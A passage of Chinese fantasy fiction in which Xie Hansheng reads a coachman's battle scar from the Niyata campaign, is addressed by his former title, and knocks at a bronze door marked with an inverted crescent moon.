“所以,”谢寒声的视线定格在那道疤上,“你额头上的疤,来自尼亚塔战役。”
车夫愣了一下,似乎没料到谢寒声会突然提及这个,更没想到他能一眼认出疤痕的来历。
他沉默了一瞬,点了点头,声音低沉了些:“是的。在那场战役里侥幸捡回条命,后来退役了。是执法官大人给了我这份差事。”他顿了顿,还是忍不住问,“您……是怎么看出来的?”
“伤口形态很特殊,切入角度和遗留的腐蚀痕迹,符合当年尼亚塔前线特有的一种混合酸性毒雾造成的伤害。”
谢寒声回答:“我在不少从那场战役退下来的老兵身上见过类似的疤痕。最近十年,圣庭记录在案的类似异变生物袭击事件,只在尼亚塔地区集中爆发过。”
车夫的眼神彻底变了,之前的平静被一种混合着惊讶、恍然,以及更深沉的慎重所取代。
他微微挺直了背脊,看着谢寒声,这次是真正意义上的正视。
“您一点都没说错,”他缓缓说道,换了一个更正式的称呼,“谢团长。”
这个久违的称呼让谢寒声有些不自在。
他轻轻咳嗽了一声,掩去瞬间的恍惚,低声道:“不用叫我这个,我已经被革除职位了。麻烦在这里等我一会儿。我有些事要处理。”
“是。”车夫简短应下,不再多问。
谢寒声拉紧兜帽,转身走进旁边狭窄的巷道。
他步履很快,却悄无声息,循着记忆中的方位,在迷宫般的旧街区里拐了三道弯,最终停在一条死胡同的尽头。
尽头的那户人家,立着一扇与周围灰扑扑墙面格格不入的大门,门板厚重,刷着暗淡的青铜色漆料,在稀少的光线下泛着幽微的金属冷光。
门扉中央没有任何门环或标识,只雕刻着一轮倒悬的弯月,月牙尖端向下,线条古朴,透着难以言喻的不祥。
谢寒声站在门前,静静看了那枚符号几秒,随后抬手,在厚重的门板上用力敲了四下。
叩击声在寂静的巷道里回荡,很快被空洞吞没。
不一会儿,门开了。